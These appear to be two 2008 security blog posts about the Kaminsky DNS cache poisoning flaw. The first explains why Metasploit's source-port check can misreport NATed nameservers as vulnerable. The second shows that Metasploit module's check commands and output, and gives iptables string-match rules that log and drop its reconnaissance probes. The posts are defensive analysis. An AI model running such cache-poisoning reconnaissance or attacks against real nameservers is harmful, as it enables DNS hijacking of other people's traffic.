The Dan Kaminsky DNS Checker There are several online DNS checker services that are designed to test nameservers to see if they are vulnerable to the Dan Kaminsky DNS cache poisoning attack. These services perform an important function considering 1) the ease with which vulnerable servers can be exploited, and 2) the critical place DNS has in the Internet infrastructure. If you have not yet checked the nameserver you use for DNS resolution or switched to OpenDNS, let's just say that it is highly recommended, and Dan's talk at the Blackhat Briefings today drove home just how bad the problem is. Dan presented a nice visualization of how much effort has gone into the worldwide patching effort so far, but there is still a lot of work to do.

Online DNS checker services are handy, but unfortunately, not all of these DNS services work the same, and this blog post shows that certain flavors of NAT can make some of these services report nameservers as vulnerable when they really aren't.

Spoiler: The Doxpara and DNS-OARC services handle the NAT case properly by testing against multiple upstream nameservers, whereas the Metasploit test does not yet handle this (although I'm sure it won't be long before this is taken care of).

One of the main requirements for successfully exploiting a vulnerable nameserver is that the source port the server uses for recursive queries must be predictable by the attacker. It's not too difficult for an attacker to profile a potential target by issuing a series of DNS requests for random hostnames (and therefore not cached) in a domain under the attacker's control. Then, by watching how the targeted nameserver issues requests to the authoritative nameserver (controlled by the attacker), it is easy to check whether the source port seems randomly chosen or not. However, if the attacker is only using one authoritative nameserver, this limits the attacker to asking the question:

Are the source ports for recursive queries from the target to a single authoritative nameserver predictable?

...instead of:

Are the source ports for recursive queries from the target across a range of authoritative nameservers predictable?

(For the remainder of this discussion, we'll assume that a targeted nameserver is behind a NAT device, and all recursive DNS requests traverse this device.) The crux of the problem - from the viewpoint of an attacker - is that NAT devices do not always use the same strategy for translating UDP source ports. If the NAT always leaves the source port intact, then there is no problem, and the attacker only needs one authoritative DNS server in order to see whether the target randomizes source ports. If the NAT imposes an "n+m" rule, then this is also advantageous to the attacker with only one authoritative nameserver - even if the targeted DNS server randomizes source ports itself. But, if the NAT randomizes source ports according to a rule like "for the next 30 seconds, give all UDP packets with source port 12345 destined for IP1 a new source port of 48567, and all packets to IP2 a new source port of 34432, etc.", then the attacker with only one authoritative nameserver would see that all incoming queries have the same source port (at least for 30 seconds). Given that an actual DNS cache poisoning attack requires spoofed responses from nameservers that are (presumably) not under the control of the attacker, such a NAT device would thwart an attack because it would assign a new (random) port for the set of queries to each authoritative nameserver.

The iptables firewall with it's SNAT --random feature implements a strategy similar to the above, and we show how a few DNS checker services handle this for a targeted nameserver 22.2.2.2 (the IP is for illustration purposes only).

First, Dan's DNS checker reports the following: Your name server, at 22.2.2.2, appears to be safe, but make sure the ports
listed below aren't following an obvious pattern (:1001, :1002, :1003, or
:30000, :30020, :30100...). Requests seen for c26cd2dfd938.doxdns5.com:
22.2.2.2:40796 TXID=27431
22.2.2.2:28530 TXID=7761
22.2.2.2:56025 TXID=64688
22.2.2.2:30711 TXID=37206
22.2.2.2:24472 TXID=84
Good.

Now, DNS OARC reports: [attacker]# dig @22.2.2.2 +short porttest.dns-oarc.net TXT
porttest.y.x.w.v.u.t.s.r.q.p.o.n.m.l.k.j.i.h.g.f.e.d.c.b.a.pt.dns-oarc.net.
"22.2.2.2 is GREAT: 26 queries in 2.5 seconds from 26 ports with std dev 18972"
This is also good.

Finally, on the exploit side of things, Metasploit's service reports: [attacker]# ./msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > set RHOST 22.2.2.2
RHOST => 22.2.2.2
msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] >> ADDRESS: 22.2.2.2 PORT: 44826
[*] FAIL: This server uses a static source port and is vulnerable to poisoning
msf auxiliary(bailiwicked_host) >
But, the above argument shows that the Metasploit result is a false positive. After seeing such a result, the attacker might continue on with Metasploit and create a ton of DNS queries and spoofed responses, only to have the exploit attempt fail because the source port really isn't predictable for DNS queries issued to nameservers outside the attacker's control.

The prevalence of such NAT deployments is most likely low, but it would make an interesting research project to try and determine how many DNS servers are protected by such a mechanism. However, a key detail is that for testing this is that the DNS servers fundamentally must still select the same source port for recursive queries since if not then the iptables SNAT --random option will be more random (even for rapid sets of recursive queries). Source port randomization is exactly one of the things the patches to DNS servers is designed to address, so the opportunity to perform such research is closing. Also, hopefully no one is still setting query-source address * port within the named.conf file.

Update: 08/09/08 Jeff Jarmoc mentioned to me that the implementations of NAT on Cisco and Check Point devices can de-randomize source ports of services running on internal networks, and this problem even affects DNS servers that have been patched. That is an important point, and the problem was also noted in this blog post. The vendors are patching the issue, but there is a lot of work left.

Metasploit DNS Cache Poisoning and iptables Countermeasures

Metasploit and DNS Cache Poisoning Attacks On July 23rd, H D Moore, I)ruid, and the Metasploit Project released an exploit for the Dan Kaminsky DNS cache poisoning attack - the full details of which will be released at the Blackhat Briefings. We know that source port prediction for recursive queries is a key component to successfully poison a nameserver's cache, and the Metasploit exploit code offers the ability to check a targeted nameserver for predictable source ports. This check is implemented by sending a set of TXT queries against the metasploit.com domain to a targeted server, and - if recursion is enabled - the server will in turn send these queries (which are randomized and therefore not cached) to a nameserver that is authoritative for the metasploit.com domain. The information returned by the metasploit.com nameserver contains the source port the targeted nameserver used to issue the queries. If the source port exhibits a high degree of predictability (such as if the query-source address * port named.conf directive is used or if an external NAT device removes randomness in the source port on its own), then it is much easier to spoof responses to queries against the target from other nameservers and increase the chances that one of these spoofed responses will be cached.

Here is an example of using the source port check feature in Metasploit. Some output has been abbreviated, and the IP addresses 11.1.1.1 (hostname: attacker) and 22.2.2.2 (hostname: target) are used only for illustration purposes: [attacker]# ./msfconsole
msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > set RHOST 22.2.2.2
RHOST => 22.2.2.2
msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] >> ADDRESS: 22.2.2.2 PORT: 30001
[*] FAIL: This server uses a static source port and is vulnerable to poisoning
So, the source port used by the targeted nameserver is always 30001 - convenient.

If we examine the traffic generated by Metasploit on the wire, the TXT queries exhibit some nice structure. Note the spoofprobe-check and .red.metasploit.com strings in both the incoming queries responses (actually, incoming queries contain the bytes |03|red|0a|metasploit|03|com in Snort syntax): [attacker]# tcpdump -i eth0 -l -nn port 53
22:53:40.594082 IP 11.1.1.1.40866 > 22.2.2.2.53: 0+ TXT? spoofprobe-check-1-10913572965.red.metasploit.com. (67)
22:53:40.730809 IP 22.2.2.2.53 > 11.1.1.1.40866: 0 1/1/0 TXT "22.2.2.2:30001 IN IN::TXT spoofprobe-check-1-10913572965.red.metasploit.com" (182)
Further, in the query responses, the string IN::TXT is also returned. So, using this information, we can build iptables rules that leverage the string match extension to inspect application layer data for these strings. We can then have iptables take action such to log or drop packets that match.

If a nameserver is running locally on a Linux system, then the following rules detect inbound requests from the attacker (see the usage of the iptables --hex-string argument to describe the non-printable bytes in the incoming DNS request), as well as responses from the metasploit.com server to outbound recursive requests from the targeted nameserver. Note that you might want to combine the LOG rules with the iptables limit match in order to reduce the number of log messages created during an actual attack. Still, I find that having more data is usually good, and the number of source port reconnaissance queries is much less than the number of spoofed responses when a cache poisoning attempt is made anyway, so it shouldn't be too burdensome to leave off the limit match. [target]# iptables -I INPUT 1 -p udp --dport 53 -m string --string "spoofprobe-check" --algo bm -m string --hex-string "|03|red|0a|metasploit|03|com" --algo bm -j LOG --log-prefix "METASPLOIT DNS RECON QUERY "
[target]# iptables -I INPUT 1 -p udp --dport 53 -m string --string "spoofprobe-check" --algo bm -m string --hex-string "|03|red|0a|metasploit|03|com" --algo bm -j DROP

[target]# iptables -I INPUT 1 -p udp --sport 53 -m string --string "IN::TXT" --algo bm -m string --string "spoofprobe-check" --algo bm -m string --string ".red.metasploit.com" --algo bm -j LOG --log-prefix "METASPLOIT DNS RECON RESP "
[target]# iptables -I INPUT 1 -p udp --sport 53 -m string --string "IN::TXT" --algo bm -m string --string "spoofprobe-check" --algo bm -m string --string ".red.metasploit.com" --algo bm -j DROP
Similar rules can be added to the FORWARD chain (along with specifying the internal subnet or input interface so that directionality can be established) for nameservers that are deployed on a separate system behind a Linux system running iptables. The most important rules above are probably the first two, since matching packets reveal the source IP of the attacker. However, this is of limited use because the actual cache poisoning attack will involve packets spoofed from other authoritative nameservers, and it is possible to collect source port information from other sources. Still, having information about someone doing source port predictability reconnaissance against one of your nameservers with Metasploit is worth knowing.

With the rules above in place, the 'check' step in Metasploit is unable to tell that the targeted nameserver even responds to recursive queries at all, and back on the firewall system several METASPLOIT DNS RECON QUERY log messages are written to syslog by iptables: msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] ERROR: This server is not replying to recursive requests

[target]# tail /var/log/messages
Aug 2 06:39:55 target kernel: [933142.545502] METASPLOIT DNS RECON QUERY IN=eth0 OUT= MAC=00:13:46:3b:41:4c:00:12:46:c2:60:44:09:00 SRC=11.1.1.1 DST=22.2.2.2 LEN=96 TOS=0x00 PREC=0x00 TTL=63 ID=33573 DF PROTO=UDP SPT=40273 DPT=53 LEN=76
Aug 2 06:39:55 target kernel: [933142.637446] METASPLOIT DNS RECON QUERY IN=eth0 OUT= MAC=00:13:46:3b:41:4c:00:12:46:c2:60:44:09:00 SRC=11.1.1.1 DST=22.2.2.2 LEN=96 TOS=0x00 PREC=0x00 TTL=63 ID=33574 DF PROTO=UDP SPT=40273 DPT=53 LEN=76
On another note, before using Metasploit to test your DNS infrastructure to see if it is exploitable, it is important to know whether your local network allows spoofed packets out. Many firewalls can be configured to drop spoofed packets from internal systems, and even my little LinkSys router does this. Because there is no mechanism in Metasploit currently (as far as I know) to detect whether your local network filters spoofed packets (and building such a mechanism would be tricky for various technical reasons), an incorrect assumption can result in a cache poisoning attack that has no possibility of succeeding but that also generates thousands of DNS queries at the same time.

Finally, for those unpatched nameservers running behind an iptables firewall, the SNAT --random option can provide a work-around for predictable source ports. Nevertheless, the emphasis should always be on patching vulnerable servers since the source port problem is only one aspect of the vulnerability in DNS.